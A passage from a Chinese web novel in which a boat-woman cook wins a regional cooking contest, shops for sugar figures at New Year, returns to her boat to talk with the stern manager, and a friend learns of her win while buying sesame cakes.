他这一举动顿时引得众人哗然,不过不是吓的,只是太过震惊罢了。 褚朝云不明其意,面上倒没怎么变化。 反而是程月看不下去了,拉住女子的手,满眼疼爱的说道:“傻丫头,这蕤洲名厨册内添上一笔,可比什么黄金白银的奖励,来的都要珍贵。” 大祁崇尚美食业,但厨艺真正能达到顶尖的,其实并无多少人。 所以大祁皇帝拟定了大祁名厨册,是为了统计名厨数目,也是为了彰显名厨的地位。 虽说这一本并非是大祁,只是小小一座蕤洲境内的。 可若连地方的名厨册都上不了,又怎会有资格将自己的名字留在大祁名厨册上。 褚朝云的名字前方,有一个“九”。 这就表示在蕤洲境内,如今只有九位名厨。 褚朝云是排在最后一个的。 听到程月的一番解释,褚朝云才不免有些后怕,因为她这一场赛事赢得当真心惊肉跳,几乎步步有坎。 不过此刻,她倒是彻底明白了。 青州相比蕤洲富庶的不是一星半点,堂堂京都就更不必说。 可宗匀酌和唐淑还是不远千里跑来蕤洲参加比赛,并不惜动用各种手段,原来就是为了要将自己的名字,添在这本名厨册上。 这俩人是来这里刷经验的,也是镶金边的。 但没想到最后闹成这个样子。 果然是她太天真了,还以为这就是个很普通的小比赛。 所有的事情这便就交代完了。 徐大徐二虽不愿破坏这边的氛围,但也不得不行使职责。 徐大低叹一声,走上前来,“褚姑娘,既然比赛结束了……徐二已经去租马车了,不如我们这就回吧?” 此时离寺回去花船,坐马车会更快一些,晚饭时便可抵达。 褚朝云当然也不愿为难他们,经过这一阵子的相处下来,她差不多已经跟这俩兄弟成了朋友。 至少是能说的上话的那种。 刚好程月也住在码头附近,所以马车之上,徐大跟着车夫坐在外面,褚朝云、程月跟徐二,则坐在车里。 三人坐着也是无聊,褚朝云就问了几句唐淑和宗匀酌之事。 尤其是,关于程月为何要离京的因由。 提起过往,程月便有些担忧道:“虽说这场比赛,确实是值得参加的,但我并没想到唐淑和宗匀酌也会过来,若能提前预知,我是不会同意你参与进来的。” 徐二是全程跟着看下来的,见程月这样讲,便不赞同道:“为何?那二人确实是诡计多端了些,但最后褚姑娘还是赢得了比赛,这不是件值得高兴的事吗?” 徐二越说越兴奋,末了又道:“等下回去我便把这事汇报给纯心夫人听,她也一定会替褚姑娘高兴的。” “纯心……夫人?” 褚朝云疑惑道。 徐二摸摸脑袋,不好意思道:“噢,就是花船的钟管事,我和大哥平时都在府邸,所以这么叫着习惯了。” 褚朝云默默点头,心想,难不成钟管事的芳名就叫做……钟纯心? 纯善之心。 名字倒是取得不错。 不过她也就是随口一问,跟着,便又看向程月,“师父,徐二兄弟说的没错,唐淑和宗匀酌虽是好一通算计,可最后他们并没有得逞,来这一趟,还是有必要的。” 想到此前种种,褚朝云也确实心累:“不过这哪里是什么比赛,我看快要和打仗差不多了。” 她以前偶尔也会看看小说打发时间,对于那些宫斗文,宅斗文,也都看过不少。 没成想下船一趟,真是长了好一番的见识。 可程月的态度却并不乐观:“你夺了魁首,便等于是得罪了这两个人,他们二人心机深沉,手段狠辣,绝非是你想的那般容易。我只希望,你们今后别再遇上就是。” 因着徐二和徐大在,程月还是没讲出其中缘由。 那年她在京中参加美食大赛,排在第二名的大师傅和唐家是远亲,入京就一直被唐家所照应着。 后来唐家得知魁首是她,最初确实没说什么,还好好的将她请去家中。 可唐淑拜师失败,唐家便用“进入酒楼”的机会来威胁她。 唐家扬言,虽说魁首是她,可只要他们唐家不同意,是绝对有办法让她得不到那个机会的,除非程月松口收下唐淑。 程月本就无心进酒楼去,但唐家却不知她心中所想。 见她迟迟不给回应,便以为她舍不得,又不愿收唐淑为徒,所以才左右为难。 心急的唐家便用计抓了她一名助手,又诱骗另一助手在赌坊欠下巨债。 最后程月帮着助手还了银钱,几乎是倾尽所有,又派人去唐家递了消息自请离京,对方才把另一助手给放了回来。 欠债的助手觉得自己连累了她,差点一头撞死。 可程月却觉得,是自己亏欠了他们才对。 那时她才知晓什么叫做江湖险恶,她虽说有避世之心,但也并非真是懦弱之人。 可唐家工于心计,不伤害她,却步步要她身边人之命。 这次若非唐淑知晓长业寺背靠岳知府,根本也不会如此拐弯抹角,早就对褚朝云下了狠手。 而宗匀酌,一样不是什么良善之辈。 这二人一虎一狼,招惹了实在不是什么好事。 程月看着面前不足十七的小徒弟,不免心中叹息。 马车行至一处集市,此刻虽接近傍晚,但街头巷尾却热闹非凡。 穿红衣的小童握着糖人嬉闹,边跑边笑道:“过新年啦,过新年啦!” 褚朝云听到孩童欢悦之声,也被小孩子的热闹所感染,一撩布帘,就看到街道两侧,正在有人往树杈上挂纸糊的灯笼。 那纸张是红色的,镂空的剪纸花样看着好不新鲜。 挂灯笼的两人眉开眼笑,正有一句没一句的说着什么。 马车走的虽说不快,但那喜气洋洋的交谈声还是越发远去,褚朝云只听到几句“习俗”“蕤洲”“红衣”等字眼,倒也没具体听懂他们说的是什么意思。 徐二相比自家大哥心性不够沉稳,见此情景,当即就手痒的想下车去。 他敲敲车板,兴奋道:“大哥,那边有卖糖人的,我想买几个回来!那可是麦芽糖粘的,吃起来可甜了。” 褚朝云身份特殊,徐大思量之后,便没回应。 徐二见对方不理他,一张脸就塌了下来:“明明儿时你还答应我,以后给我买好多糖人吃的,如今都要新年了,再说这可是蕤洲风俗!” 徐大见他越说越离谱,总算愿意搭腔:“胡咧咧什么?哪里来的吃糖人风俗?你如今几岁?怎地还跟孩童一样。” 褚朝云看着他们兄弟间的互动,不由得笑起来:“吃糖人,真不是蕤洲年节风俗?” 徐二嘿嘿一乐,忙道:“真不是,我哄我哥玩呢。” 说完,又往外看一眼,“不过蕤洲的新年,的确有一个很喜庆的习俗,那就是——” 还不等徐二揭晓谜底,马车便停了下来。 徐大撩开布帘,朝着徐二眼一瞪:“赶紧滚下去买吧,喏。” 说着,还递上来一包银钱。 褚朝云还没吃过麦芽糖粘的糖人,就连在现世,也是没有。 一见徐二能下去买,便有点动心,而且这蕤洲粘糖人的老师傅,看着似乎很是厉害。 想了想,褚朝云从衣襟中摸出些银钱,银钱用布包了几层。 自从上次下水丢了荷包,她就没得用了。 只是当时比赛在即,她也没时间再做一只。 “可否麻烦徐二兄弟,帮我也买几个回来?” 她算着要带礼物的几人,又怕银钱不够,索性就把布包全部推给了徐二。 徐二木讷地接过,然后看了一眼自家大哥,突然就小声嘟囔了句:“大哥,褚姑娘真可怜,不如我们带着她一块去转转吧?还有程娘子。” 为了防着自己被骂,他还耍小聪明的拉上程月。 褚朝云当然很想下去逛,可总怕徐大为难,便主动拒绝道:“你去吧,我在这等就好。” 徐二闷闷接过,又咕哝了句:“褚姑娘看着也不像是会逃跑的人啊。” 布帘放下来,褚朝云看了程月一眼,就低着头没在说话。 门外窸窣一阵响动,忽的布帘再次先开。 一股子饭香味儿飘了进来,徐大看着她停顿一下,然后便说:“哪有空着肚子赶路的道理,花船上的饭菜也不好吃,褚姑娘好歹是魁首,我们吃顿饭再回去,纯心夫人应该也不会说什么的。” 徐二刚迈开步,见徐大不仅松口,还打算要在这里吃一顿,登时惊喜的跑了回来:“是啊!夫人人很好的,从不会责骂我们。” 其实褚朝云也觉得钟管事人不算坏,至少和泯灭人性的李婆子、赵大不太一样。 若非要说,可能她也有不得已的苦衷吧。 不过这事褚朝云只是单纯的想想,未能了解事件的全貌,过多的评价她不会给。 但别的不说,至少能亲自下去逛逛的感觉……还是相当不错的。 褚朝云和程月迈步下来,车夫便找了个地方给马儿喂草。 徐二把钱递回给她,这会儿也不想着要吃糖人了,站在街中朝两侧浅望一眼,寻到那刚刚又蹦又跳的小童,买了支花递上去。 “过新年啦!” 徐二笑的眼睛弯起,然后蹲下来道:“你知道这条街上,什么馆子最好吃吗?” 小童乐的捏住花儿,伸手一指不远处的酒楼。 “是那里哦。” 说完,又晃动着手里的花往远处跑,边跑边笑道:“过新年啦!穿新衣啦!戴花花啦!” 褚朝云听着那小童的笑声,不免眯起眼看向天边晚霞,被橙红弥漫的一处云彩凝聚成了不知名的形状,看着仿佛和树梢上的剪纸灯笼颇为神似。 新年…… 此刻站在这片土地上的她是踏实的,也是自由的。 褚朝云不由得笑了起来—— 既是新年,那么就祝大家自由和安康吧。 默念完,女子回手拉住程月,喜悦道:“师父,我们快点去买糖人吧?出来这么久,家人都在等着我呢。” 第62章 二更 坐到酒楼雅间里时,褚朝云正捏着一把糖人美滋滋地欣赏。 见徐二点好菜过来坐下,便主动递去一个,“给,这是你的。” 她神秘兮兮地笑了下,倒笑的徐二一头雾水。 徐二道谢接过,发现这糖人的形状和街上挂着的红灯笼一模一样,脑中回忆了下那老师傅的手艺,就奇怪的“诶?”出一声。 “这怎么是个灯笼呀?” 说完,又去看褚朝云手中捏着的一把,便更惊愕:“褚姑娘,你手里的……怎么也全都是灯笼啊?” 褚朝云依旧在笑,而后眨眨眼问:“这灯笼不好看吗?画的不像??” 徐二摇摇头:“那倒不是。” 他只是看到那老师傅手下粘出来的糖人都是齐天大圣,天蓬元帅之类的,除非有客人特别说明想要画什么,否则怎么都不会画个大灯笼出来。 见徐二越想表情越迷茫,对面坐着的程娘子都不免笑了一声。 此时,屋外风雪重,他们才进门就变了天。 可这室内倒是被老板弄的格外暖和,尤其是价钱要贵上一些的雅间,门旁还摆着只熏红的碳炉。 程月摘下帷帽,目光宠溺的看向褚朝云,然后才对着徐二解释:“这勤奋好学的褚姑娘走哪儿都不忘学手艺,你手里的灯笼糖人是她画的,并非出自老师傅之手。” 这么一说,大家就全都明白了。 褚朝云方才拉着程月去那摊子买糖人,见老师傅动作行云流水,片刻就画了一个惟妙惟肖地齐天大圣像出来,顿时就有些手痒。 老师傅技艺实在精湛,不仅大圣手握的金箍棒看着栩栩如生,就连那头戴的凤翅紫金冠也是生动灵活。 不过褚朝云只是抱着试试看的心态随口一问,没成想,老师傅还真答应了。 老师傅笑着让开位置,褚朝云就坐了下来。 其实她也想画些特别的,毕竟这是要带给大家伙的礼物。 奈何女子虽想法很多,但却无从下手。 哪怕人家老师傅肯耐心的教,她也不能磨蹭太久,耽搁了回去的时辰不说,老师傅的生意还要接着做呢。 手中没什么样品,褚朝云便想请老师傅画个简单的出来,然后她照着模仿就是。 结果正要开口,就听到身旁卖香饮子的老板和老板娘在闲聊。 老板:“马上就要到新年,这灯笼又挂起来了。” 老板娘:“今年挂的确实早些,大概是蕤洲这两年天灾少了,家家日子也好过,这愁事没了,人的心情也就好了啊。” 老板:“挂灯笼好,最好挂上就别摘掉了,咱们蕤洲的剪纸灯笼本就象征着团团圆圆,多好的兆头,这颜色又红火。” 几句话让褚朝云听出了神,下意识就转过头去:“您说这灯笼的寓意是……团圆?” 老板娘忙回应:“是呢,小妹是外地来的吧?那不知道这个也正常。” 老板的性子似是很好客,立刻就笑呵呵地说:“这才哪儿到哪儿,若是小妹不忙着走,等到新年时再看,哎哟这满山满海,满树满街,千里红灯连成一片,那景儿可叫一个美啊!” 虽说这描述她不曾亲见,可褚朝云也能脑补的出。 她听罢难免好奇:“这风俗存在很久了吗?” 之所以这么问,主要还是过往从刁氏口中听到的蕤洲,多半都是民不聊生,毫无生机的景象。 如此一说,连褚朝云都有些期待起新年了。 老板娘唏嘘,回应时面上带着几分酸楚:“没,没有很久……早些年的蕤洲真是不成,就跟那犯了天条似的总有灾祸,可把咱们知府大人给愁坏了。” 老板:“知府大人可是个好官啊,为了给咱蕤洲的百姓祈福,每年都要去长业寺斋戒一月。” 老板娘见自家老头子说的热闹,也忙不迭插话:“想必是岳知府的诚意感动了上天,这几年陆陆续续有富户搬来蕤洲,这有钱人一过来扎根,日子慢慢就好起来了。” 褚朝云七七八八听了半晌,见这二人说着说着话题又转回到知府身上。 她虽没见过岳知府,可听到的次数着实不少。 想来很受百姓爱戴。 可既是好官,又为何不管花船的事呢? 褚朝云琢磨不明白,但倒是了解清楚了一件事,怪不得空释方丈办个素斋比赛都搞得这么大阵仗,原来长业寺和岳常,还有这样一层关系。 不过这么一聊起来,褚朝云倒是有了想法,既然剪纸灯笼象征团圆,那不如就都画灯笼好了。 抬头就能看到样板,而且画的是同一个物件,还会熟能生巧,岂不两全其美。 这段机缘一说,徐二砸吧砸吧嘴,不好意思道:“褚姑娘,被你这么一解释呀,我都有点舍不得吃掉它了。” 几人有说有笑,端菜进门的老板还以为他们是一同出游的好友关系。 今个的菜都是徐二点的,四荤四素,老板还赠了一盆汤水。 看着如此丰盛的菜式,徐二赶忙说道:“我把这里的招牌都来了一遍,褚姑娘,程娘子,你们放开来吃,等回去了,我去找夫人报账~” “报账?!” 想到钟管事那张惯常冷漠的脸,褚朝云还真挺佩服徐二的勇气。 徐大见她表情甚是惊愕,便解说道:“夫人向来有功必赏,姑娘夺得魁首,好好的吃上一顿,也是应该的。” 其实褚朝云不是惊讶徐二能从钟管事那要来银子,而是对徐家兄弟的擅自做主有些吃惊。 这二人敢先斩后奏—— 只能说明钟管事为人虽表面严厉,实则对仆从还是比较宽容。 褚朝云将糖人递给酒楼老板,拜托对方找纸袋装好,先放到楼下的窗子外面,免得屋里太热糖会融化。 接着,就拿起筷子,先对着离得最近的咕咾肉夹了一块。 自打来了这里,都是她做饭给别人吃,难得能吃上馆子里的饭菜,褚朝云还是挺满足的。 …… 回到船上时,晚饭将过。 程月一到码头便先回了住处歇息,徐二去府邸和钟纯心汇报,徐大就送褚朝云上了船来。 任务完成之后,徐大对着褚朝云略一抱拳,像是准备辞别。 褚朝云却开口喊住了他,又从纸袋里取出一个糖人,“多谢徐大兄弟一路上的照应,这象征团圆的灯笼,一定要送您一个。” 徐大年纪比徐二大上不少,没这种小孩子的心性。 可一想到家中老父老母,便又痛快的接了过去:“借姑娘吉言,也祝姑娘早日与家中团聚。” 二人在船栏边说了几句,徐大迈步下船。 与此同时,听到动静的船娘们也都赶着从暗仓走了出来。 褚朝云正笑着转头去看,“啪”的一下,从人堆里窜出来的姑娘就一把抱住了她。 “朝云!你总算回来了!我们都想死你了!!” 徐香荷死死抱住她,脸上一会儿笑一会儿哭,仿佛见到了失散多年的亲人似的,连远处赵大投来的警告目光都顾不得。 刁氏也站在一旁抹泪,见她神采奕奕地,精神头十足,便放心的念道:“没事就好,没事就好。” 其余船娘原本只在一边看着。 或许是被徐香荷激动的情绪所感染,也都纷纷红了眼眶—— “以前大家都在一起,倒也不觉得什么,你这冷不防一走,咱们还全都没了主意似的。” “可不是,这心里头也空落落的。” “现在看到你啊,可总算踏实了些,不过若是能不回来,那还是不回来——” 方如梅话没说完,就被刁氏拽了一下。 艞板处正站着准备上来的钟管事,妇人的目光似是并没往他们面上瞟。 也不知对方听没听到方如梅的话,钟管事慢条斯理地走上船来,路过几人身边却没理他们,只是提了提裙边径自往木梯上走,大概是要去雅间吩咐什么事情。 褚朝云将手中的纸袋递给徐香荷,示意他们先回去把糖人分了。 徐香荷闻到麦芽糖的香味顿时破涕为笑,那一哭一笑的表情自然纯真,褚朝云看着她的样子,不免也会心的笑了一下。 比起唐淑,褚朝云觉得徐香荷简直就是贴心的小天使。 果然,和那种勾心斗角的日子比起来,她还是喜欢纯朴平淡的温馨生活。 又回到这船上来了。 褚朝云转身朝码头望去,马车从长街路过的时候,这边也都换上了红色的剪纸灯笼,看着那挂满月光的水街河岸,她觉得好像一切都变了,又仿佛什么都没变。 褚朝云的糖人没法带给褚郁,女子惋惜地往那处远望一眼,回过头来时,不由得看了眼上方雅间。 褚惜兰捏着帕子站在船栏处,怔然片刻,随即温暖的朝她挥了挥手。 她果然是有家人的~ 褚朝云也笑着挥回去,正要往暗仓去,就听远处传来一声轻咳。 钟管事不知何时已经从木梯上下来了,妇人神色依旧淡淡地,盯了她两眼,便自顾的走去船头。 褚朝云微微思忖,快步下去暗仓,从徐香荷手中要了一个糖人回来。 再过来时,钟管事果然还站在那里。 妇人的目光落在泛起涟漪地河面上,那一眼的目光很深,像是能直接望到蕤河的河底。 站了一会儿,褚朝云就迈步走上来,试探着把糖人递了过去。 “做什么?” 钟管事挑了挑眉,但还是伸手接了。 褚朝云换了一副笑嘻嘻地神情,走到她身边去,“送您一个糖人,听说是象征团圆的,这是我在路边的糖人摊子那儿亲手做的,可能有点丑,您别在意。” “嗯,不是一般的丑。” 钟管事举着糖人在月色下瞧了瞧,然后放下手,无情的点评了一句。 褚朝云已经习惯了她的说话方式,倒也没那么介意,只是思索片刻,又真诚道:“朝云还要谢谢您,肯给我这个机会。” 毕竟以她的身份,钟管事不准她去比赛才是正常的。 虽然不知对方为何要这么做,但褚朝云是个恩怨分明之人。 面对宗匀酌和唐淑,她可以豁出一切,甚至不择手段的去帮程月讨回公道,可钟纯心,并没有切身的伤害过她什么。 她说完,就默默站在一边,倒是没打算急着离开。 钟管事默然片刻,也没再故意说些煞风景的刻薄话。 似是过了许久,冷风吹得褚朝云都有些受不住时,妇人才淡淡开了句口:“与人相处,善良与否,在特定的时辰特定的场合,后果却是截然不同的。” 褚朝云似是不太懂她想说什么,便迷蒙的“嗯?”了一声。 钟管事站在风中,说完便又陷入沉默。 就在褚朝云以为她要被冻得石化了,便瞧见妇人口唇边,因喘息有些急促,而形成了一圈圈的白雾。 白雾凝聚,白雾消散,妇人再次开口:“你在高处,良善是救命的解药,但若身在低处……那便是害人的刀。” “所以做人,确实该量力而行。” 褚朝云在旁应和一声。 “褚朝云。” 钟管事忽然面对向她。 妇人眼睫上溢着层霜雪冻出的水雾,不过眨眼间,就换了一副态度。 钟管事突然似笑非笑地往女子脚下瞥去,而后轻轻道:“你脚下站的那个位置,原本有过一条人命。” 突然听到这个,褚朝云本能就换了个地方。 钟管事似是对她这副受到惊吓的模样很感兴趣,妇人笑着转过身去,冷冷道:“别慌,人不是死在船上的,是掉进了河里。奈何那小姑娘水性太差,夜又太深,她就只能自认倒霉了。” “七八岁的年纪就这么没了,也不知是福还是祸。” 钟管事三言两语就介绍完了一个人的丛生到死,缓过神后,才恢复正题:“长业寺的事情我都听说了,不过善意的提醒一句,京都唐家和青州宗家都不是什么良善之辈,你要小心了。” 这话褚朝云今日已经是第二次听到了,上一次,还是出自程月之口。 她没回应,但眸色眨了几眨,也不知再想什么。 钟管事便一语点破她的心思,“你是不是觉得,反正自己在船上,他们在船下,便不能将你如何?” 褚朝云没想到妇人如此犀利,顿时尴尬地咳出一声。 钟管事嗤笑一声,继续发出提醒:“花船不是保命符,你确实不能下去,但好像也挡不住他们上来?” “……” 这一点她确实没想到。 或者说,压根就没去想过。 比赛已经结束,而且这俩人又离着蕤洲很远,谁会没事吃饱了撑的不远万里跑来这边,目的就是为了要对付她一个小小的船娘? 但回忆起唐淑和宗匀酌的疯癫程度,褚朝云还真不敢把话说死。 几句话被钟管事搅乱了心神,女子便开始暗暗吐息纳气的调整心态。 反正他们今日不会来。 至于明日之事,明日再想就好了。 褚朝云的面色转眼就恢复到了平静如水,钟管事不禁多看她一眼,深思片刻,忽的正色问道:“若能再来一次,你提前知晓了参赛者中有唐淑和宗匀酌这一号人,你还会去吗?” 这句话倒是不难回答,女子抬起头来,笑道:“会。” 钟管事哼笑:“哦?为何?你不怕么?” “自然是怕的。” 她无权无势无地位,和唐家宗家那样的高门相比,不如一只蝼蚁,又怎么会不怕。 可她还是表情坚定道:“怕归怕,去也还是要去的。不管他们耍什么阴谋诡计,我还是坚信……邪不胜正?” 她俏皮一笑,仿佛刚刚讲的,只是天真的玩笑话。 可钟管事却看得出来,褚朝云并没有在开玩笑。 钟管事紧了紧肩头披着的棉斗篷,漠然地看了看她,难得伸手在她肩上重重拍了一下:“既如此,那么好好记牢你的话。” 说完,就拿着糖人下船去了。 空气里传来糖块被咬开的“咔嚓”声,褚朝云骤然失笑。 不是说画的很丑,那还吃什么? 这几日她折腾的着实疲累,又要想菜式,又要跟那两个恶人斗,简直心神俱疲。 女子伸了伸腰,感觉到冷风又起,便原地跺跺脚,抱着膀子一股脑的下了暗仓里去。 暗仓里依旧没什么暖和气儿,但好在徐香荷一早就备好了汤婆子,褚朝云不在这几天都是刁氏去厨房烧水,船娘们倒也没短了热水暖身。 女子一边跺脚一边进了刁氏的屋子,徐香荷掀开棉被拍拍床榻:“快上来暖一暖。” 褚朝云欣慰的钻进了被窝,脚下踩着一只汤婆子,身后还放着一个,徐香荷将一直抱着的那只也给了她,褚朝云很快就暖和了起来。 三人挤挨着坐在一块,刁氏就忙着问道:“怎么样?比赛还顺利吗?” 他们这群人消息闭塞,所以也没谁知晓褚朝云夺得魁首的事。 褚朝云先是回了声“还算顺利”,然后就笑着跟他们宣布了这个好消息。 徐香荷比较沉不住气,一听自家姐妹突然就晋升成了这“蕤洲名厨第九”,“腾”的就从被窝里坐直起来:“朝云?!你也太厉害了吧!!!” 她按捺不住地想跑出去跟其他船娘报喜,只是人还没下去,就被刁氏一把逮回来:“你这毛毛躁躁性子要改改,一嗓子下去大家伙是知道了,恐怕连楼上的姑娘婆子客人们,也一个不落都知道了。” 此刻并未到歇业时间,徐香荷听罢,登时又缩坐回去。 褚朝云知晓她是太过兴奋,就抬起手,像个大姐姐似的摸了摸她的头。 这喜报完了,也该说说忧。 原本那船下的腌臜事她是不必提起的,可今个钟管事的提点倒是警醒了她。 若哪日唐淑和宗匀酌真追上船来,总要提前做些防备。 唐淑连长业寺请的评判都能收买,很多内幕消息也是轻易便能打探的到,她和刁氏、徐香荷交好这事,想知道恐怕也不是什么难题。 而且即便接触不到楼下的,那楼上呢。 她家大姐儿,春叶,还有蕙娘……总不好连累的所有人都跟着她吃瓜落。 褚朝云将此事讲出,徐香荷自是愤怒的骂了几句那二人。 反倒是刁氏沉稳,妇人垂着眼寻思了好一会儿,然后才缓缓说道:“这些事也别瞒着楼上那几位姑娘,最好连刘、柳两位老板也知会一声,免得真出什么岔子,那可就要得不偿失了。” 见刁氏如此重视这件事,褚朝云突然就有些犹豫了。 再回想方才钟纯心的那番话,她盯着灯芯上盛放的火苗,不由得喃喃道:“……可能,我确实不该去长业寺参加比赛。” “去!” “怎么不去?” 刁氏按住她的手,神情却坚定道:“蝼蚁尚且要偷生,你知道给自己挣前途是对的,不必理会那起子小人,他们的手还没长的那般长!” 褚朝云实在疲累,也没什么精力再去做饭。 刁氏自顾进了厨房冲了两碗油茶,和徐香荷随便应付一口,就催促着她先去睡。 褚朝云困得泪涟涟的,打着哈欠就摸回了自己的隔间。 待到第二日清晨醒来,她才回味过来昨个似是有哪里不对。 昨晚她困乏的不轻,可徐香荷是个藏不住话的,趁着她还没睡着的时候,跟她念叨了好些事情。 包括她和刁氏擅自做主,暂时停了水里的生意,徐香荷连竹筐都取回来了,又拜托褚惜兰和刘新才说一句,丸子和虾饼的生意等年节后再开张。 反正褚朝云得了长业寺的掌厨差事,每月也是有二钱银子能赚,眼下倒也不用发愁。 除却这个,又说了一句那八十副手套的事。 船娘们果然没叫褚朝云失望,手套做的很顺利,交货也赶上了原定的期限,阿四他们收到货又看到了额外赠送的鞋套,当即就又订了八十双。 只是鞋套还没开始做,得先托个人去帮他们买材料才行。 然后又趁着刁氏出去冲油茶时,快速的跟她嘀咕了几句什么。 褚朝云晨起还没太清醒,这会儿在洗漱房里好一通冲冷水,倒是彻底精神了过来。 她想起来了。 徐香荷跟她说的是刁氏。 刁氏最近,好像很不对劲? 褚朝云一回来就加入劈柴洗衣大队,忙的脚不沾地,直到下午跟着大家伙洗刷完船板,才有空停下来思考这事。 只是她还没倒出空去找刁氏,妇人便先来找了她。 刁氏不知是不是又犯了眼疾,眼周红的像是能滴出血来。 褚朝云正想上去关切一句,刁氏便突然抓住了她的手,妇人抓着她的动作带了些颤抖,就连脸色也是白的吓人。 褚朝云一时间不知该说些什么,便默默等着对方先开口。 直到过了许久,她才听到刁氏说:“朝云,婶子从未开口求过什么人,可这一回,婶子想要求你一件事……” 第63章 二更 褚朝云去长业寺的这几日,宋谨也没闲着。 不过这回,他跟老头去临县并不是为了案子,而是年节将近,仵作师父带着他去采购年货,顺便买饼。 送饼,也是蕤洲的风俗之一。 除却红红火火的剪纸灯笼象征着团圆喜庆,圆咕隆咚的芝麻小饼,也一样预示着新年顺遂,诸事顺利。 芝麻小饼掌心般大,内里虽没夹什么馅料,却依旧得蕤洲人喜爱。 表皮烘烤的酥脆,一咬还会掉渣,尤其是趁着热掰开来吃,芝麻的香味便会更加的浓郁。 每当这个时节,出来卖芝麻小饼的摊贩就多了起来。 但老头点名要去临县,因为吃惯了那家的口味。 朱力前几日请了假回去陪妻小,其余几个疯小子又性子聒噪,唯有宋谨安安静静又办事妥帖,几人中老头其实最属意他。 所以每年的这几日,老头都会喊宋谨陪着去买。 西码头的长街还没到出摊的时候,就已经陆陆续续有烟气飘起,宋谨提着一纸包小饼过来,见刘新才正在灶台旁和面,就笑着打了声招呼。 听到有人喊他,刘老板从热气蒸腾中抬了抬眼,瞧见宋谨坐到了棚子下,登时就乐呵呵地跑了上来。 “老弟你可来了,我等了你好几日呢。” 刘新才说着,将炉子上烧着的一壶热水提下来。 茶杯里随便撒点茶叶沫子,就挨个倒上,沏了两杯。 铺子里没什么高端的食材,茶叶自然也是最便宜的那种。 宋谨将提着的小饼递过去,四四方方的纸包还渗着些油,边角用细麻绳固定牢固,做成了精致的拎兜状,拎着也很方便。 “唔——” 刘新才双手接过,轻嗅一口,立刻说道:“胡记芝麻小饼,可真香啊!老弟你有心了。” 宋小哥端起茶杯,就着热乎气儿喝上一口。 他眉间还染着清雪,俨然是连着赶路回来的。 “这几年多谢刘哥照拂,一点新年礼,应该的。” “嗐,胡记的芝麻饼可贵着呢,你还年年给我送,怪不好意思的。” 索性这会儿面食铺子也没什么客人,刘新才一抬腿坐了下来,也滋溜一口热茶说:“明年可不行再送了啊。” 刘新才刚才其实就在研究做芝麻饼,蕤洲的摊贩每年都做,但每年都做不出胡记那个味道来。 奈何胡记是黑心的商家,一份芝麻小饼要价贵市面五倍。 俗称:卖缺儿。 所以摊主们有一个算一个,谁都想研究出一款更好吃的小饼来,一是这风俗寓意美好,二来也是想杀杀胡记家的傲气。 只是接连着几年,竟无一人能够成功。 宋谨喝过几口,暖了身子,这才记起刘新才说一直在等他,便询问道:“刘哥可是有事要我帮忙?” 刘新才想起正事,忙道:“对对,你说这以往的冬天,蕤洲都是不怎么下雪的,谁知今年还飘起了雪花。我那板车前几日进货途中车轮子打滑撞了石头,用着有些不好使,你们能不能修这个?” 刘新才的板车用了好些年都没事,这突然一坏掉,还真叫他抓了瞎。 虽说有的铺子也能修,但板车是宋谨他们常用的东西,比起旁的,刘新才还是更信任他们。 刘老板喝了口茶,又继续道:“这年底正是多用板车的时候,褚姑娘想要的甜芦苇,我还指着它给拉呢。” 褚朝云想用甘蔗制糖,上次二人见面就提过一嘴。 后来刘新才确实留心帮着寻过一阵,奈何那稀奇玩意哪哪都没得卖。 遍寻不得,他便去问了开香饮子的蔡家,反正最初那四根也是蔡家给的。 蔡家答应了说给问问,因为买甘蔗那回也是他们偶尔撞上的,对方不是固定摊子,得等一等。 刘新才想着,年底是最好卖货的时候,流动摊贩也得出来,这板车早晚都要用上。 宋谨原本耐心听着,可一提起褚朝云,小哥的笑意就格外温润了些:“褚姑娘她……最近还好吗?” 二人毕竟不算熟识,他总觉得自己不该打听人家,但又很想知道。 犹豫之下,就还是问出了口。 没想到这么一说,可把刘新才的话匣子给扯开了。 刘老板一拍大腿,随即竖了个大拇指,对着宋谨好一通夸赞:“对了,这事你还不知道吧?也就你去临县那几日,褚姑娘下船来了。” “下船?” 宋谨表情惊讶,连身子都不由得坐正了些:“她……是彻底脱离了那里么?” 刘新才唏嘘一声:“这倒没有,但小姑娘确实挺厉害的,船上放她下来去长业寺参加素斋大赛,大概去了有六日吧?也是昨个刚回来。” “褚姑娘这一参赛,我和柳老板也心急的不行,我还去船上打听了好几次,但赛事的细节他们都不知晓。” 刘老板絮絮叨叨一大堆。 反正就是二人等的实在心急,柳文匡就想起了张满春。 几番催促又送了张满春两纸包芝麻小饼,人家才使唤店小二赶着马车,去了一趟长业寺打听情况。 “这一打听你猜怎么着?褚姑娘竟是夺得了魁首!!” 刘老板笑眯眯地报了喜之后,又接着道:“这不待会儿,我和柳文匡约了一起去给她道贺嘛!” 他朝着灶台旁的方桌处努努嘴,宋谨才看到那上面摆着几个小礼盒。 “喏,我贺礼都买好了!!” 虽说不是被放下船的喜事,但宋谨听着,也是很为褚朝云高兴。 刘新才砸吧砸吧嘴,简直比自己亲闺女夺魁了还要欣慰:“别看小姑娘如今还困在那船上,这名气呀可是先打响了,蕤洲名厨第九哎!就算是万春楼的掌厨,都没能上得了那名厨册呢~” 二人又说了会儿话,柳文匡就提前来了。 宋谨压了一下想上船去的念头,然后快速说道:“既是喜事,宋谨也有一份贺礼想送予褚姑娘,可否请你们等等,我即刻就回去取。” 柳文匡是过来吃面的,倒是不那么着急。 刘新才叫宋谨慢着点,也别太慌,反正时间还早,宋谨便推着那板车拐出了胡同。 一进门,院中还保持着干净整洁的样子,显然是同僚们提前收拾过了。 他出门之前洗了东西,这会儿晾衣绳上却没见着。 宋谨将板车刚放在角落,一同僚就打着哈欠推门出来了。 一看到他,对方便炮仗似的伸手去砸身后门板:“哎哎哎,兄弟们快起来,咱们宋小哥回来了,都出来分饼了啊!!” 宋谨从临县回来时只先拿了一包饼给刘新才,所以刚刚回家前又绕路去了趟老头家。 刚好推着刘新才的板车,就顺便把大家的份儿一起带了回来。 睡得迷糊的同僚们听到喊声,一个接着一个的从门里跑了出来。 这些日子连偷鸡摸狗的行窃之事都没有,蕤洲安逸了好一阵子,蕤洲无大事,他们这些抬尸的才能闲的下来。 宋谨在板车上取了一包小饼,拉住一名同僚问:“咳,我走之前晾在绳子上的东西呢?” 同僚嗅到饼香口水横流,说了一句“被大力哥拿下来放进你屋里了”,就忙不迭地跑上去跟大家伙抢饼。 一群人饿狼扑食似的拆开就要咬,宋谨就走过来抬手一挡:“先刷牙,再用饭。” 猴子们见小哥态度严肃,呜呼哀哉地一窝蜂散了。 